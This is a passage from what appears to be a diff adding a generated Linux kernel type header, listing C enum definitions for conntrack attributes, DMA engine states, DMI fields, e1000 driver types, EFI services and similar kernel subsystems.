CTA_PROTONAT_PORT_MIN = 1, + CTA_PROTONAT_PORT_MAX = 2, + __CTA_PROTONAT_MAX = 3, +}; + +enum ctattr_seqadj { + CTA_SEQADJ_UNSPEC = 0, + CTA_SEQADJ_CORRECTION_POS = 1, + CTA_SEQADJ_OFFSET_BEFORE = 2, + CTA_SEQADJ_OFFSET_AFTER = 3, + __CTA_SEQADJ_MAX = 4, +}; + +enum ctattr_stats_cpu { + CTA_STATS_UNSPEC = 0, + CTA_STATS_SEARCHED = 1, + CTA_STATS_FOUND = 2, + CTA_STATS_NEW = 3, + CTA_STATS_INVALID = 4, + CTA_STATS_IGNORE = 5, + CTA_STATS_DELETE = 6, + CTA_STATS_DELETE_LIST = 7, + CTA_STATS_INSERT = 8, + CTA_STATS_INSERT_FAILED = 9, + CTA_STATS_DROP = 10, + CTA_STATS_EARLY_DROP = 11, + CTA_STATS_ERROR = 12, + CTA_STATS_SEARCH_RESTART = 13, + CTA_STATS_CLASH_RESOLVE = 14, + CTA_STATS_CHAIN_TOOLONG = 15, + __CTA_STATS_MAX = 16, +}; + +enum ctattr_stats_global { + CTA_STATS_GLOBAL_UNSPEC = 0, + CTA_STATS_GLOBAL_ENTRIES = 1, + CTA_STATS_GLOBAL_MAX_ENTRIES = 2, + __CTA_STATS_GLOBAL_MAX = 3, +}; + +enum ctattr_synproxy { + CTA_SYNPROXY_UNSPEC = 0, + CTA_SYNPROXY_ISN = 1, + CTA_SYNPROXY_ITS = 2, + CTA_SYNPROXY_TSOFF = 3, + __CTA_SYNPROXY_MAX = 4, +}; + +enum ctattr_tstamp { + CTA_TIMESTAMP_UNSPEC = 0, + CTA_TIMESTAMP_START = 1, + CTA_TIMESTAMP_STOP = 2, + CTA_TIMESTAMP_PAD = 3, + __CTA_TIMESTAMP_MAX = 4, +}; + +enum ctattr_tuple { + CTA_TUPLE_UNSPEC = 0, + CTA_TUPLE_IP = 1, + CTA_TUPLE_PROTO = 2, + CTA_TUPLE_ZONE = 3, + __CTA_TUPLE_MAX = 4, +}; + +enum ctattr_type { + CTA_UNSPEC = 0, + CTA_TUPLE_ORIG = 1, + CTA_TUPLE_REPLY = 2, + CTA_STATUS = 3, + CTA_PROTOINFO = 4, + CTA_HELP = 5, + CTA_NAT_SRC = 6, + CTA_TIMEOUT = 7, + CTA_MARK = 8, + CTA_COUNTERS_ORIG = 9, + CTA_COUNTERS_REPLY = 10, + CTA_USE = 11, + CTA_ID = 12, + CTA_NAT_DST = 13, + CTA_TUPLE_MASTER = 14, + CTA_SEQ_ADJ_ORIG = 15, + CTA_NAT_SEQ_ADJ_ORIG = 15, + CTA_SEQ_ADJ_REPLY = 16, + CTA_NAT_SEQ_ADJ_REPLY = 16, + CTA_SECMARK = 17, + CTA_ZONE = 18, + CTA_SECCTX = 19, + CTA_TIMESTAMP = 20, + CTA_MARK_MASK = 21, + CTA_LABELS = 22, + CTA_LABELS_MASK = 23, + CTA_SYNPROXY = 24, + CTA_FILTER = 25, + CTA_STATUS_MASK = 26, + __CTA_MAX = 27, +}; + +enum cti_port_type { + CTI_PORT_TYPE_NONE = 0, + CTI_PORT_TYPE_RS232 = 1, + CTI_PORT_TYPE_RS422_485 = 2, + CTI_PORT_TYPE_RS232_422_485_HW = 3, + CTI_PORT_TYPE_RS232_422_485_SW = 4, + CTI_PORT_TYPE_RS232_422_485_4B = 5, + CTI_PORT_TYPE_RS232_422_485_2B = 6, + CTI_PORT_TYPE_MAX = 7, +}; + +enum ctnl_exp_msg_types { + IPCTNL_MSG_EXP_NEW = 0, + IPCTNL_MSG_EXP_GET = 1, + IPCTNL_MSG_EXP_DELETE = 2, + IPCTNL_MSG_EXP_GET_STATS_CPU = 3, + IPCTNL_MSG_EXP_MAX = 4, +}; + +enum ctx_state { + CT_STATE_DISABLED = -1, + CT_STATE_KERNEL = 0, + CT_STATE_IDLE = 1, + CT_STATE_USER = 2, + CT_STATE_GUEST = 3, + CT_STATE_MAX = 4, +}; + +enum cuc_dump { + cuc_dump_complete = 40965, + cuc_dump_reset_complete = 40967, +}; + +enum d_real_type { + D_REAL_DATA = 0, + D_REAL_METADATA = 1, +}; + +enum d_walk_ret { + D_WALK_CONTINUE = 0, + D_WALK_QUIT = 1, + D_WALK_NORETRY = 2, + D_WALK_SKIP = 3, +}; + +enum data_queue_flags { + QUEUE_STARTED = 0, + QUEUE_PAUSED = 1, +}; + +enum data_queue_qid { + QID_AC_VO = 0, + QID_AC_VI = 1, + QID_AC_BE = 2, + QID_AC_BK = 3, + QID_HCCA = 4, + QID_MGMT = 13, + QID_RX = 14, + QID_OTHER = 15, + QID_BEACON = 16, + QID_ATIM = 17, +}; + +enum dax_access_mode { + DAX_ACCESS = 0, + DAX_RECOVERY_WRITE = 1, +}; + +enum dbc_state { + DS_DISABLED = 0, + DS_INITIALIZED = 1, + DS_ENABLED = 2, + DS_CONNECTED = 3, + DS_CONFIGURED = 4, + DS_STALLED = 5, + DS_MAX = 6, +}; + +enum dccp_pkt_type { + DCCP_PKT_REQUEST = 0, + DCCP_PKT_RESPONSE = 1, + DCCP_PKT_DATA = 2, + DCCP_PKT_ACK = 3, + DCCP_PKT_DATAACK = 4, + DCCP_PKT_CLOSEREQ = 5, + DCCP_PKT_CLOSE = 6, + DCCP_PKT_RESET = 7, + DCCP_PKT_SYNC = 8, + DCCP_PKT_SYNCACK = 9, + DCCP_PKT_INVALID = 10, +}; + +enum dd_data_dir { + DD_READ = 0, + DD_WRITE = 1, +}; + +enum dd_prio { + DD_RT_PRIO = 0, + DD_BE_PRIO = 1, + DD_IDLE_PRIO = 2, + DD_PRIO_MAX = 2, +}; + +enum dentry_d_lock_class { + DENTRY_D_LOCK_NORMAL = 0, + DENTRY_D_LOCK_NESTED = 1, +}; + +enum desc_state { + desc_miss = -1, + desc_reserved = 0, + desc_committed = 1, + desc_finalized = 2, + desc_reusable = 3, +}; + +enum dev_dma_attr { + DEV_DMA_NOT_SUPPORTED = 0, + DEV_DMA_NON_COHERENT = 1, + DEV_DMA_COHERENT = 2, +}; + +enum dev_pm_qos_req_type { + DEV_PM_QOS_RESUME_LATENCY = 1, + DEV_PM_QOS_LATENCY_TOLERANCE = 2, + DEV_PM_QOS_MIN_FREQUENCY = 3, + DEV_PM_QOS_MAX_FREQUENCY = 4, + DEV_PM_QOS_FLAGS = 5, +}; + +enum dev_prop_type { + DEV_PROP_U8 = 0, + DEV_PROP_U16 = 1, + DEV_PROP_U32 = 2, + DEV_PROP_U64 = 3, + DEV_PROP_STRING = 4, + DEV_PROP_REF = 5, +}; + +enum dev_state { + STATE_DEEP_SLEEP = 0, + STATE_SLEEP = 1, + STATE_STANDBY = 2, + STATE_AWAKE = 3, + STATE_RADIO_ON = 4, + STATE_RADIO_OFF = 5, + STATE_RADIO_IRQ_ON = 6, + STATE_RADIO_IRQ_OFF = 7, +}; + +enum devcg_behavior { + DEVCG_DEFAULT_NONE = 0, + DEVCG_DEFAULT_ALLOW = 1, + DEVCG_DEFAULT_DENY = 2, +}; + +enum device_link_state { + DL_STATE_NONE = -1, + DL_STATE_DORMANT = 0, + DL_STATE_AVAILABLE = 1, + DL_STATE_CONSUMER_PROBE = 2, + DL_STATE_ACTIVE = 3, + DL_STATE_SUPPLIER_UNBIND = 4, +}; + +enum device_physical_location_horizontal_position { + DEVICE_HORI_POS_LEFT = 0, + DEVICE_HORI_POS_CENTER = 1, + DEVICE_HORI_POS_RIGHT = 2, +}; + +enum device_physical_location_panel { + DEVICE_PANEL_TOP = 0, + DEVICE_PANEL_BOTTOM = 1, + DEVICE_PANEL_LEFT = 2, + DEVICE_PANEL_RIGHT = 3, + DEVICE_PANEL_FRONT = 4, + DEVICE_PANEL_BACK = 5, + DEVICE_PANEL_UNKNOWN = 6, +}; + +enum device_physical_location_vertical_position { + DEVICE_VERT_POS_UPPER = 0, + DEVICE_VERT_POS_CENTER = 1, + DEVICE_VERT_POS_LOWER = 2, +}; + +enum device_removable { + DEVICE_REMOVABLE_NOT_SUPPORTED = 0, + DEVICE_REMOVABLE_UNKNOWN = 1, + DEVICE_FIXED = 2, + DEVICE_REMOVABLE = 3, +}; + +enum devkmsg_log_masks { + DEVKMSG_LOG_MASK_ON = 1, + DEVKMSG_LOG_MASK_OFF = 2, + DEVKMSG_LOG_MASK_LOCK = 4, +}; + +enum devlink_port_flavour { + DEVLINK_PORT_FLAVOUR_PHYSICAL = 0, + DEVLINK_PORT_FLAVOUR_CPU = 1, + DEVLINK_PORT_FLAVOUR_DSA = 2, + DEVLINK_PORT_FLAVOUR_PCI_PF = 3, + DEVLINK_PORT_FLAVOUR_PCI_VF = 4, + DEVLINK_PORT_FLAVOUR_VIRTUAL = 5, + DEVLINK_PORT_FLAVOUR_UNUSED = 6, + DEVLINK_PORT_FLAVOUR_PCI_SF = 7, +}; + +enum devlink_port_fn_opstate { + DEVLINK_PORT_FN_OPSTATE_DETACHED = 0, + DEVLINK_PORT_FN_OPSTATE_ATTACHED = 1, +}; + +enum devlink_port_fn_state { + DEVLINK_PORT_FN_STATE_INACTIVE = 0, + DEVLINK_PORT_FN_STATE_ACTIVE = 1, +}; + +enum devlink_port_type { + DEVLINK_PORT_TYPE_NOTSET = 0, + DEVLINK_PORT_TYPE_AUTO = 1, + DEVLINK_PORT_TYPE_ETH = 2, + DEVLINK_PORT_TYPE_IB = 3, +}; + +enum devlink_rate_type { + DEVLINK_RATE_TYPE_LEAF = 0, + DEVLINK_RATE_TYPE_NODE = 1, +}; + +enum devm_ioremap_type { + DEVM_IOREMAP = 0, + DEVM_IOREMAP_UC = 1, + DEVM_IOREMAP_WC = 2, + DEVM_IOREMAP_NP = 3, +}; + +enum die_val { + DIE_OOPS = 1, + DIE_INT3 = 2, + DIE_DEBUG = 3, + DIE_PANIC = 4, + DIE_NMI = 5, + DIE_DIE = 6, + DIE_KERNELDEBUG = 7, + DIE_TRAP = 8, + DIE_GPF = 9, + DIE_CALL = 10, + DIE_PAGE_FAULT = 11, + DIE_NMIUNKNOWN = 12, +}; + +enum dim_cq_period_mode { + DIM_CQ_PERIOD_MODE_START_FROM_EQE = 0, + DIM_CQ_PERIOD_MODE_START_FROM_CQE = 1, + DIM_CQ_PERIOD_NUM_MODES = 2, +}; + +enum dim_state { + DIM_START_MEASURE = 0, + DIM_MEASURE_IN_PROGRESS = 1, + DIM_APPLY_NEW_PROFILE = 2, +}; + +enum dim_stats_state { + DIM_STATS_WORSE = 0, + DIM_STATS_SAME = 1, + DIM_STATS_BETTER = 2, +}; + +enum dim_step_result { + DIM_STEPPED = 0, + DIM_TOO_TIRED = 1, + DIM_ON_EDGE = 2, +}; + +enum dim_tune_state { + DIM_PARKING_ON_TOP = 0, + DIM_PARKING_TIRED = 1, + DIM_GOING_RIGHT = 2, + DIM_GOING_LEFT = 3, +}; + +enum dl_bw_request { + dl_bw_req_check_overflow = 0, + dl_bw_req_alloc = 1, + dl_bw_req_free = 2, +}; + +enum dl_dev_state { + DL_DEV_NO_DRIVER = 0, + DL_DEV_PROBING = 1, + DL_DEV_DRIVER_BOUND = 2, + DL_DEV_UNBINDING = 3, +}; + +enum dl_param { + DL_RUNTIME = 0, + DL_PERIOD = 1, +}; + +enum dm_io_mem_type { + DM_IO_PAGE_LIST = 0, + DM_IO_BIO = 1, + DM_IO_VMA = 2, + DM_IO_KMEM = 3, +}; + +enum dm_queue_mode { + DM_TYPE_NONE = 0, + DM_TYPE_BIO_BASED = 1, + DM_TYPE_REQUEST_BASED = 2, + DM_TYPE_DAX_BIO_BASED = 3, +}; + +enum dm_uevent_type { + DM_UEVENT_PATH_FAILED = 0, + DM_UEVENT_PATH_REINSTATED = 1, +}; + +enum dma_ctrl_flags { + DMA_PREP_INTERRUPT = 1, + DMA_CTRL_ACK = 2, + DMA_PREP_PQ_DISABLE_P = 4, + DMA_PREP_PQ_DISABLE_Q = 8, + DMA_PREP_CONTINUE = 16, + DMA_PREP_FENCE = 32, + DMA_CTRL_REUSE = 64, + DMA_PREP_CMD = 128, + DMA_PREP_REPEAT = 256, + DMA_PREP_LOAD_EOT = 512, +}; + +enum dma_data_direction { + DMA_BIDIRECTIONAL = 0, + DMA_TO_DEVICE = 1, + DMA_FROM_DEVICE = 2, + DMA_NONE = 3, +}; + +enum dma_desc_metadata_mode { + DESC_METADATA_NONE = 0, + DESC_METADATA_CLIENT = 1, + DESC_METADATA_ENGINE = 2, +}; + +enum dma_fence_flag_bits { + DMA_FENCE_FLAG_SIGNALED_BIT = 0, + DMA_FENCE_FLAG_TIMESTAMP_BIT = 1, + DMA_FENCE_FLAG_ENABLE_SIGNAL_BIT = 2, + DMA_FENCE_FLAG_USER_BITS = 3, +}; + +enum dma_residue_granularity { + DMA_RESIDUE_GRANULARITY_DESCRIPTOR = 0, + DMA_RESIDUE_GRANULARITY_SEGMENT = 1, + DMA_RESIDUE_GRANULARITY_BURST = 2, +}; + +enum dma_resv_usage { + DMA_RESV_USAGE_KERNEL = 0, + DMA_RESV_USAGE_WRITE = 1, + DMA_RESV_USAGE_READ = 2, + DMA_RESV_USAGE_BOOKKEEP = 3, +}; + +enum dma_slave_buswidth { + DMA_SLAVE_BUSWIDTH_UNDEFINED = 0, + DMA_SLAVE_BUSWIDTH_1_BYTE = 1, + DMA_SLAVE_BUSWIDTH_2_BYTES = 2, + DMA_SLAVE_BUSWIDTH_3_BYTES = 3, + DMA_SLAVE_BUSWIDTH_4_BYTES = 4, + DMA_SLAVE_BUSWIDTH_8_BYTES = 8, + DMA_SLAVE_BUSWIDTH_16_BYTES = 16, + DMA_SLAVE_BUSWIDTH_32_BYTES = 32, + DMA_SLAVE_BUSWIDTH_64_BYTES = 64, + DMA_SLAVE_BUSWIDTH_128_BYTES = 128, +}; + +enum dma_status { + DMA_COMPLETE = 0, + DMA_IN_PROGRESS = 1, + DMA_PAUSED = 2, + DMA_ERROR = 3, + DMA_OUT_OF_ORDER = 4, +}; + +enum dma_transaction_type { + DMA_MEMCPY = 0, + DMA_XOR = 1, + DMA_PQ = 2, + DMA_XOR_VAL = 3, + DMA_PQ_VAL = 4, + DMA_MEMSET = 5, + DMA_MEMSET_SG = 6, + DMA_INTERRUPT = 7, + DMA_PRIVATE = 8, + DMA_ASYNC_TX = 9, + DMA_SLAVE = 10, + DMA_CYCLIC = 11, + DMA_INTERLEAVE = 12, + DMA_COMPLETION_NO_ORDER = 13, + DMA_REPEAT = 14, + DMA_LOAD_EOT = 15, + DMA_TX_TYPE_END = 16, +}; + +enum dma_transfer_direction { + DMA_MEM_TO_MEM = 0, + DMA_MEM_TO_DEV = 1, + DMA_DEV_TO_MEM = 2, + DMA_DEV_TO_DEV = 3, + DMA_TRANS_NONE = 4, +}; + +enum dmaengine_alignment { + DMAENGINE_ALIGN_1_BYTE = 0, + DMAENGINE_ALIGN_2_BYTES = 1, + DMAENGINE_ALIGN_4_BYTES = 2, + DMAENGINE_ALIGN_8_BYTES = 3, + DMAENGINE_ALIGN_16_BYTES = 4, + DMAENGINE_ALIGN_32_BYTES = 5, + DMAENGINE_ALIGN_64_BYTES = 6, + DMAENGINE_ALIGN_128_BYTES = 7, + DMAENGINE_ALIGN_256_BYTES = 8, +}; + +enum dmaengine_tx_result { + DMA_TRANS_NOERROR = 0, + DMA_TRANS_READ_FAILED = 1, + DMA_TRANS_WRITE_FAILED = 2, + DMA_TRANS_ABORTED = 3, +}; + +enum dmi_device_type { + DMI_DEV_TYPE_ANY = 0, + DMI_DEV_TYPE_OTHER = 1, + DMI_DEV_TYPE_UNKNOWN = 2, + DMI_DEV_TYPE_VIDEO = 3, + DMI_DEV_TYPE_SCSI = 4, + DMI_DEV_TYPE_ETHERNET = 5, + DMI_DEV_TYPE_TOKENRING = 6, + DMI_DEV_TYPE_SOUND = 7, + DMI_DEV_TYPE_PATA = 8, + DMI_DEV_TYPE_SATA = 9, + DMI_DEV_TYPE_SAS = 10, + DMI_DEV_TYPE_IPMI = -1, + DMI_DEV_TYPE_OEM_STRING = -2, + DMI_DEV_TYPE_DEV_ONBOARD = -3, + DMI_DEV_TYPE_DEV_SLOT = -4, +}; + +enum dmi_entry_type { + DMI_ENTRY_BIOS = 0, + DMI_ENTRY_SYSTEM = 1, + DMI_ENTRY_BASEBOARD = 2, + DMI_ENTRY_CHASSIS = 3, + DMI_ENTRY_PROCESSOR = 4, + DMI_ENTRY_MEM_CONTROLLER = 5, + DMI_ENTRY_MEM_MODULE = 6, + DMI_ENTRY_CACHE = 7, + DMI_ENTRY_PORT_CONNECTOR = 8, + DMI_ENTRY_SYSTEM_SLOT = 9, + DMI_ENTRY_ONBOARD_DEVICE = 10, + DMI_ENTRY_OEMSTRINGS = 11, + DMI_ENTRY_SYSCONF = 12, + DMI_ENTRY_BIOS_LANG = 13, + DMI_ENTRY_GROUP_ASSOC = 14, + DMI_ENTRY_SYSTEM_EVENT_LOG = 15, + DMI_ENTRY_PHYS_MEM_ARRAY = 16, + DMI_ENTRY_MEM_DEVICE = 17, + DMI_ENTRY_32_MEM_ERROR = 18, + DMI_ENTRY_MEM_ARRAY_MAPPED_ADDR = 19, + DMI_ENTRY_MEM_DEV_MAPPED_ADDR = 20, + DMI_ENTRY_BUILTIN_POINTING_DEV = 21, + DMI_ENTRY_PORTABLE_BATTERY = 22, + DMI_ENTRY_SYSTEM_RESET = 23, + DMI_ENTRY_HW_SECURITY = 24, + DMI_ENTRY_SYSTEM_POWER_CONTROLS = 25, + DMI_ENTRY_VOLTAGE_PROBE = 26, + DMI_ENTRY_COOLING_DEV = 27, + DMI_ENTRY_TEMP_PROBE = 28, + DMI_ENTRY_ELECTRICAL_CURRENT_PROBE = 29, + DMI_ENTRY_OOB_REMOTE_ACCESS = 30, + DMI_ENTRY_BIS_ENTRY = 31, + DMI_ENTRY_SYSTEM_BOOT = 32, + DMI_ENTRY_MGMT_DEV = 33, + DMI_ENTRY_MGMT_DEV_COMPONENT = 34, + DMI_ENTRY_MGMT_DEV_THRES = 35, + DMI_ENTRY_MEM_CHANNEL = 36, + DMI_ENTRY_IPMI_DEV = 37, + DMI_ENTRY_SYS_POWER_SUPPLY = 38, + DMI_ENTRY_ADDITIONAL = 39, + DMI_ENTRY_ONBOARD_DEV_EXT = 40, + DMI_ENTRY_MGMT_CONTROLLER_HOST = 41, + DMI_ENTRY_INACTIVE = 126, + DMI_ENTRY_END_OF_TABLE = 127, +}; + +enum dmi_field { + DMI_NONE = 0, + DMI_BIOS_VENDOR = 1, + DMI_BIOS_VERSION = 2, + DMI_BIOS_DATE = 3, + DMI_BIOS_RELEASE = 4, + DMI_EC_FIRMWARE_RELEASE = 5, + DMI_SYS_VENDOR = 6, + DMI_PRODUCT_NAME = 7, + DMI_PRODUCT_VERSION = 8, + DMI_PRODUCT_SERIAL = 9, + DMI_PRODUCT_UUID = 10, + DMI_PRODUCT_SKU = 11, + DMI_PRODUCT_FAMILY = 12, + DMI_BOARD_VENDOR = 13, + DMI_BOARD_NAME = 14, + DMI_BOARD_VERSION = 15, + DMI_BOARD_SERIAL = 16, + DMI_BOARD_ASSET_TAG = 17, + DMI_CHASSIS_VENDOR = 18, + DMI_CHASSIS_TYPE = 19, + DMI_CHASSIS_VERSION = 20, + DMI_CHASSIS_SERIAL = 21, + DMI_CHASSIS_ASSET_TAG = 22, + DMI_STRING_MAX = 23, + DMI_OEM_STRING = 24, +}; + +enum dpm_order { + DPM_ORDER_NONE = 0, + DPM_ORDER_DEV_AFTER_PARENT = 1, + DPM_ORDER_PARENT_BEFORE_DEV = 2, + DPM_ORDER_DEV_LAST = 3, +}; + +enum drbg_prefixes { + DRBG_PREFIX0 = 0, + DRBG_PREFIX1 = 1, + DRBG_PREFIX2 = 2, + DRBG_PREFIX3 = 3, +}; + +enum drbg_seed_state { + DRBG_SEED_STATE_UNSEEDED = 0, + DRBG_SEED_STATE_PARTIAL = 1, + DRBG_SEED_STATE_FULL = 2, +}; + +enum drm_panel_orientation { + DRM_MODE_PANEL_ORIENTATION_UNKNOWN = -1, + DRM_MODE_PANEL_ORIENTATION_NORMAL = 0, + DRM_MODE_PANEL_ORIENTATION_BOTTOM_UP = 1, + DRM_MODE_PANEL_ORIENTATION_LEFT_UP = 2, + DRM_MODE_PANEL_ORIENTATION_RIGHT_UP = 3, +}; + +enum dynevent_type { + DYNEVENT_TYPE_SYNTH = 1, + DYNEVENT_TYPE_KPROBE = 2, + DYNEVENT_TYPE_NONE = 3, +}; + +enum e1000_1000t_rx_status { + e1000_1000t_rx_status_not_ok___2 = 0, + e1000_1000t_rx_status_ok___2 = 1, + e1000_1000t_rx_status_undefined___2 = 255, +}; + +enum e1000_bus_speed { + e1000_bus_speed_unknown___2 = 0, + e1000_bus_speed_33___2 = 1, + e1000_bus_speed_66___2 = 2, + e1000_bus_speed_100___2 = 3, + e1000_bus_speed_120___2 = 4, + e1000_bus_speed_133___2 = 5, + e1000_bus_speed_2500 = 6, + e1000_bus_speed_5000 = 7, + e1000_bus_speed_reserved___2 = 8, +}; + +enum e1000_bus_type { + e1000_bus_type_unknown___2 = 0, + e1000_bus_type_pci___2 = 1, + e1000_bus_type_pcix___2 = 2, + e1000_bus_type_pci_express = 3, + e1000_bus_type_reserved___2 = 4, +}; + +enum e1000_bus_width { + e1000_bus_width_unknown___2 = 0, + e1000_bus_width_pcie_x1 = 1, + e1000_bus_width_pcie_x2 = 2, + e1000_bus_width_pcie_x4 = 4, + e1000_bus_width_pcie_x8 = 8, + e1000_bus_width_32___2 = 9, + e1000_bus_width_64___2 = 10, + e1000_bus_width_reserved___2 = 11, +}; + +enum e1000_fc_mode { + e1000_fc_none = 0, + e1000_fc_rx_pause = 1, + e1000_fc_tx_pause = 2, + e1000_fc_full = 3, + e1000_fc_default = 255, +}; + +enum e1000_mac_type { + e1000_82571 = 0, + e1000_82572 = 1, + e1000_82573 = 2, + e1000_82574 = 3, + e1000_82583 = 4, + e1000_80003es2lan = 5, + e1000_ich8lan = 6, + e1000_ich9lan = 7, + e1000_ich10lan = 8, + e1000_pchlan = 9, + e1000_pch2lan = 10, + e1000_pch_lpt = 11, + e1000_pch_spt = 12, + e1000_pch_cnp = 13, + e1000_pch_tgp = 14, + e1000_pch_adp = 15, + e1000_pch_mtp = 16, + e1000_pch_lnp = 17, + e1000_pch_ptp = 18, + e1000_pch_nvp = 19, +}; + +enum e1000_mac_type___2 { + e1000_undefined___2 = 0, + e1000_82575 = 1, + e1000_82576 = 2, + e1000_82580 = 3, + e1000_i350 = 4, + e1000_i354 = 5, + e1000_i210 = 6, + e1000_i211 = 7, + e1000_num_macs___2 = 8, +}; + +enum e1000_media_type { + e1000_media_type_unknown = 0, + e1000_media_type_copper___2 = 1, + e1000_media_type_fiber___2 = 2, + e1000_media_type_internal_serdes___2 = 3, + e1000_num_media_types___2 = 4, +}; + +enum e1000_mng_mode { + e1000_mng_mode_none = 0, + e1000_mng_mode_asf = 1, + e1000_mng_mode_pt = 2, + e1000_mng_mode_ipmi = 3, + e1000_mng_mode_host_if_only = 4, +}; + +enum e1000_ms_type { + e1000_ms_hw_default___2 = 0, + e1000_ms_force_master___2 = 1, + e1000_ms_force_slave___2 = 2, + e1000_ms_auto___2 = 3, +}; + +enum e1000_nvm_override { + e1000_nvm_override_none = 0, + e1000_nvm_override_spi_small = 1, + e1000_nvm_override_spi_large = 2, +}; + +enum e1000_nvm_type { + e1000_nvm_unknown = 0, + e1000_nvm_none = 1, + e1000_nvm_eeprom_spi = 2, + e1000_nvm_flash_hw = 3, + e1000_nvm_invm = 4, + e1000_nvm_flash_sw = 5, +}; + +enum e1000_nvm_type___2 { + e1000_nvm_unknown___2 = 0, + e1000_nvm_none___2 = 1, + e1000_nvm_eeprom_spi___2 = 2, + e1000_nvm_flash_hw___2 = 3, + e1000_nvm_flash_sw___2 = 4, +}; + +enum e1000_phy_type { + e1000_phy_unknown = 0, + e1000_phy_none = 1, + e1000_phy_m88___2 = 2, + e1000_phy_igp___2 = 3, + e1000_phy_igp_2 = 4, + e1000_phy_gg82563 = 5, + e1000_phy_igp_3 = 6, + e1000_phy_ife = 7, + e1000_phy_bm = 8, + e1000_phy_82578 = 9, + e1000_phy_82577 = 10, + e1000_phy_82579 = 11, + e1000_phy_i217 = 12, +}; + +enum e1000_phy_type___2 { + e1000_phy_unknown___2 = 0, + e1000_phy_none___2 = 1, + e1000_phy_m88___3 = 2, + e1000_phy_igp___3 = 3, + e1000_phy_igp_2___2 = 4, + e1000_phy_gg82563___2 = 5, + e1000_phy_igp_3___2 = 6, + e1000_phy_ife___2 = 7, + e1000_phy_82580 = 8, + e1000_phy_i210 = 9, + e1000_phy_bcm54616 = 10, +}; + +enum e1000_rev_polarity { + e1000_rev_polarity_normal___2 = 0, + e1000_rev_polarity_reversed___2 = 1, + e1000_rev_polarity_undefined___2 = 255, +}; + +enum e1000_ring_flags_t { + IGB_RING_FLAG_RX_3K_BUFFER = 0, + IGB_RING_FLAG_RX_BUILD_SKB_ENABLED = 1, + IGB_RING_FLAG_RX_SCTP_CSUM = 2, + IGB_RING_FLAG_RX_LB_VLAN_BSWAP = 3, + IGB_RING_FLAG_TX_CTX_IDX = 4, + IGB_RING_FLAG_TX_DETECT_HANG = 5, +}; + +enum e1000_serdes_link_state { + e1000_serdes_link_down = 0, + e1000_serdes_link_autoneg_progress = 1, + e1000_serdes_link_autoneg_complete = 2, + e1000_serdes_link_forced_up = 3, +}; + +enum e1000_smart_speed { + e1000_smart_speed_default___2 = 0, + e1000_smart_speed_on___2 = 1, + e1000_smart_speed_off___2 = 2, +}; + +enum e1000_state_t { + __E1000_TESTING = 0, + __E1000_RESETTING = 1, + __E1000_ACCESS_SHARED_RESOURCE = 2, + __E1000_DOWN = 3, +}; + +enum e1000_state_t___2 { + __E1000_TESTING___2 = 0, + __E1000_RESETTING___2 = 1, + __E1000_DOWN___2 = 2, + __E1000_DISABLED = 3, +}; + +enum e1000_state_t___3 { + __IGB_TESTING = 0, + __IGB_RESETTING = 1, + __IGB_DOWN = 2, + __IGB_PTP_TX_IN_PROGRESS = 3, +}; + +enum e1000_ulp_state { + e1000_ulp_state_unknown = 0, + e1000_ulp_state_off = 1, + e1000_ulp_state_on = 2, +}; + +enum e820_type { + E820_TYPE_RAM = 1, + E820_TYPE_RESERVED = 2, + E820_TYPE_ACPI = 3, + E820_TYPE_NVS = 4, + E820_TYPE_UNUSABLE = 5, + E820_TYPE_PMEM = 7, + E820_TYPE_PRAM = 12, + E820_TYPE_SOFT_RESERVED = 4026531839, + E820_TYPE_RESERVED_KERN = 128, +}; + +enum ec_command { + ACPI_EC_COMMAND_READ = 128, + ACPI_EC_COMMAND_WRITE = 129, + ACPI_EC_BURST_ENABLE = 130, + ACPI_EC_BURST_DISABLE = 131, + ACPI_EC_COMMAND_QUERY = 132, +}; + +enum eeprom_cnfg_mdix { + eeprom_mdix_enabled = 128, +}; + +enum eeprom_config_asf { + eeprom_asf = 32768, + eeprom_gcl = 16384, +}; + +enum eeprom_ctrl_lo { + eesk = 1, + eecs = 2, + eedi = 4, + eedo = 8, +}; + +enum eeprom_id { + eeprom_id_wol = 32, +}; + +enum eeprom_offsets { + eeprom_cnfg_mdix = 3, + eeprom_phy_iface = 6, + eeprom_id = 10, + eeprom_config_asf = 13, + eeprom_smbus_addr = 144, +}; + +enum eeprom_op { + op_write = 5, + op_read = 6, + op_ewds = 16, + op_ewen = 19, +}; + +enum eeprom_phy_iface { + NoSuchPhy = 0, + I82553AB = 1, + I82553C = 2, + I82503 = 3, + DP83840 = 4, + S80C240 = 5, + S80C24 = 6, + I82555 = 7, + DP83840A = 10, +}; + +enum eeprom_sku_bits { + EEPROM_SKU_CAP_BAND_24GHZ = 16, + EEPROM_SKU_CAP_BAND_52GHZ = 32, + EEPROM_SKU_CAP_11N_ENABLE = 64, + EEPROM_SKU_CAP_AMT_ENABLE = 128, + EEPROM_SKU_CAP_IPAN_ENABLE = 256, +}; + +enum efi_rts_ids { + EFI_NONE = 0, + EFI_GET_TIME = 1, + EFI_SET_TIME = 2, + EFI_GET_WAKEUP_TIME = 3, + EFI_SET_WAKEUP_TIME = 4, + EFI_GET_VARIABLE = 5, + EFI_GET_NEXT_VARIABLE = 6, + EFI_SET_VARIABLE = 7, + EFI_QUERY_VARIABLE_INFO = 8, + EFI_GET_NEXT_HIGH_MONO_COUNT = 9, + EFI_RESET_SYSTEM = 10, + EFI_UPDATE_CAPSULE = 11, + EFI_QUERY_CAPSULE_CAPS = 12, + EFI_ACPI_PRM_HANDLER = 13, +}; + +enum efi_secureboot_mode { + efi_secureboot_mode_unset = 0, + efi_secureboot_mode_unknown = 1, + efi_secureboot_mode_disabled = 2, + efi_secureboot_mode_enabled = 3, +}; + +enum ehci_hrtimer_event { + EHCI_HRTIMER_POLL_ASS = 0, + EHCI_HRTIMER_POLL_PSS = 1, + EHCI_HRTIMER_POLL_DEAD = 2, + EHCI_HRTIMER_UNLINK_INTR = 3, + EHCI_HRTIMER_FREE_ITDS = 4, + EHCI_HRTIMER_ACTIVE_UNLINK = 5, + EHCI_HRTIMER_START_UNLINK_INTR = 6, + EHCI_HRTIMER_ASYNC_UNLINKS = 7, + EHCI_HRTIMER_IAA_WATCHDOG = 8, + EHCI_HRTIMER_DISABLE_PERIODIC = 9, + EHCI_HRTIMER_DISABLE_ASYNC = 10, + EHCI_HRTIMER_IO_WATCHDOG = 11, + EHCI_HRTIMER_NUM_EVENTS = 12, +}; + +enum ehci_rh_state { + EHCI_RH_HALTED = 0, + EHCI_RH_SUSPENDED = 1, + EHCI_RH_RUNNING = 2, + EHCI_RH_STOPPING = 3, +}; + +enum elv_merge { + ELEVATOR_NO_MERGE = 0, + ELEVATOR_FRONT_MERGE = 1, + ELEVATOR_BACK_MERGE = 2, 